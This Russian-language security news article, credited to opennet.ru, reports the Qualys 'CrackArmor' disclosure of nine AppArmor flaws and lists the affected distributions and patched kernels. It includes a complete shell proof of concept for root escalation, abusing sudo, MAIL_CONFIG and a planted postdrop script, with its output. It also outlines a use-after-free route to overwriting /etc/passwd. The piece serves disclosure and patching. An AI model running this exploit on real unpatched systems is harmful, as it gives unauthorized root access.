Уязвимости Π² AppArmor, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ root-доступ Π² систСмС

Компания Qualys выявила 9 уязвимостСй Π² систСмС ΠΌΠ°Π½Π΄Π°Ρ‚Π½ΠΎΠ³ΠΎ управлСния доступом AppArmor, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ опасныС ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²Π° root Π² систСмС, Π²Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ· ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ² ΠΈ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ограничСния, Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ Ρ‡Π΅Ρ€Π΅Π· AppArmor. Уязвимости ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠ΅ имя CrackArmor. CVE-ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹. Π£ΡΠΏΠ΅ΡˆΠ½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ продСмонстрированы Π² Ubuntu 24.04 ΠΈ Debian 13.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π² LSM-ΠΌΠΎΠ΄ΡƒΠ»Π΅ AppArmor начиная с ядра Linux 4.11, Π²Ρ‹ΠΏΡƒΡ‰Π΅Π½Π½ΠΎΠ³ΠΎ Π² 2017 Π³ΠΎΠ΄Ρƒ, ΠΈ ΠΏΡ€ΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π² дистрибутивах, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… AppArmor, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Ubuntu, Debian, openSUSE ΠΈ SUSE (начиная с openSUSE/SUSE 16 ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ задСйствован SELinux, Π½ΠΎ AppArmor оставлСн Π² качСствС ΠΎΠΏΡ†ΠΈΠΈ). ΠŸΠ°Ρ‚Ρ‡ΠΈ с устранСниСм уязвимостСй ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ядра Linux ΠΈ Π² блиТайшиС Π΄Π½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π² составС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉ 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 ΠΈ 5.10.253. Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ Π² сСгодняшниС обновлСния ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² с ядром для Ubuntu. ΠŸΠΎΠΏΡƒΡ‚Π½ΠΎ Π² Ubuntu Π²Ρ‹ΠΏΡƒΡ‰Π΅Π½Ρ‹ обновлСния ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² sudo, sudo-ldap ΠΈ util-linux (Π² состав Π²Ρ…ΠΎΠ΄ΠΈΡ‚ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° su), Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… устранСны Π½Π΅Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠΈ, позволявшиС ΡΠΊΡΠΏΠ»ΡƒΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² AppArmor. Π’ Debian ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π² процСссС ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π²Ρ‹Π·Π²Π°Π½Ρ‹ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ΠΌ Π² AppArmor Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ уязвимости класса Β«ΠΎΠ±ΠΌΠ°Π½ΡƒΡ‚Ρ‹ΠΉ посрСдник» (Β«confused-deputyΒ»), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅ΠΉ Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ, Π·Π°ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΠΈ AppArmor. Данная ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΈ сСрвисов ΠΎΡ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… Π°Ρ‚Π°ΠΊ (Ρ‡Π΅Ρ€Π΅Π· запись псСвдофайлов /sys/kernel/security/apparmor/.load, .replace ΠΈ .remove, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для снятия ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π² cupsd ΠΈ rsyslogd), Π²Ρ‹Π·ΠΎΠ²Π° ΠΎΡ‚ΠΊΠ°Π·Π° Π² обслуТивании (Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π·Π°ΠΏΡ€Π΅Ρ‰Π°ΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ) ΠΈ ΠΎΠ±Ρ…ΠΎΠ΄Π° ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ пространств ΠΈΠΌΡ‘Π½ (Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π½ΠΎΠ²ΠΎΠ³ΠΎ AppArmor-профиля Β«usernsΒ», Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для /usr/bin/time, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π³ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π΅ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ user namespace).

Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°ΠΌΠ΅Π½Ρ‹ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ AppArmor Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ получСния root-ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Ρ‡Π΅Ρ€Π΅Π· привязку ΠΊ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π°ΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ su ΠΈ sudo, Π½ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ, Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… доступ ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ систСмным Π²Ρ‹Π·ΠΎΠ²Π°ΠΌ. Π’ частности, ΠΏΡ€Π°Π²Π° root ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π² ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ setuid (CAP_SETUID) для ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ sudo Π² сочСтании с манипуляциСй ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ окруТСния MAIL_CONFIG для смСны ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° с настройками для ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ сСрвСра Postfix.

Π‘ΡƒΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° sudo отправляСт администратору письмо, запуская /usr/sbin/sendmail. Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π² сброс ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ запуска Π΄Π°Π½Π½ΠΎΠ³ΠΎ процСсса с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root, Π° выставив ΠΏΠ΅Ρ€Π΅Π΄ запуском sudo ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ окруТСния MAIL_CONFIG ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π΅ sendmail Π΄Ρ€ΡƒΠ³ΠΈΠ΅ настройки, Π² Ρ‚ΠΎΠΌ числС ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ свой ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ postdrop, запускаСмый ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ ΠΏΠΎΡ‡Ρ‚Ρ‹. $ mkdir /tmp/postfix $ cat > /tmp/postfix/main.cf << Β«EOFΒ» command_directory = /tmp/postfix EOF $ cat > /tmp/postfix/postdrop << Β«EOFΒ» #!/bin/sh /usr/bin/id >> /tmp/postfix/pwned EOF $ chmod -R 0755 /tmp/postfix $ apparmor_parser -K -o sudo.pf << Β«EOFΒ» /usr/bin/sudo { allow file, allow signal, allow network, allow capability, deny capability setuid, } EOF $ su -P -c β€˜stty raw && cat sudo.pf’ Β«$USERΒ» > /sys/kernel/security/apparmor/.replace Password: $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted sudo: unable to open /etc/sudoers: Operation not permitted sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted sudo: error initializing audit plugin sudoers_audit $ cat /tmp/postfix/pwned uid=0(root) gid=1001(jane) groups=1001(jane),100(users)

Π’ качСствС Π΄Ρ€ΡƒΠ³ΠΈΡ… способов ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ ΡƒΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ΡΡ уязвимости Π² ΠΊΠΎΠ΄Π΅ AppArmor, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅ΠΌ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ ядра Linux. Показано ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²Π° root ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ уязвимостСй, Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹Ρ… Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ free() ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ΠΌ ΠΊ ΡƒΠΆΠ΅ освобоТдённой области памяти (use‑after‑free) Π² ΠΊΠΎΠ΄Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ Π·Π°ΠΌΠ΅Π½Ρ‹ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ AppArmor. НапримСр, AppArmor сохраняСт ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ Π² структурС aa_loaddata, ΠΏΠ°ΠΌΡΡ‚ΡŒ для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ выдСляСтся Π² slab-кэшС kmalloc-192, ΠΏΡ€ΠΈ этом ΠΈΠ·-Π·Π° состояния Π³ΠΎΠ½ΠΊΠΈ Π½Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΊ памяти, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π·Π°Π½ΠΈΠΌΠ°Π»Π° структура, послС Π΅Ρ‘ освобоТдСния. Π”Π°Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для получСния контроля Π½Π°Π΄ освобоТдСнной ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ ΠΈ пСрСраспрСдСлСния освобоТдённой страницы памяти для ΠΌΠ°ΠΏΠΏΠΈΠ½Π³Π° содСрТимого Ρ„Π°ΠΉΠ»Π° /etc/passwd ΠΈ пСрСзаписи строки с ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ root.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ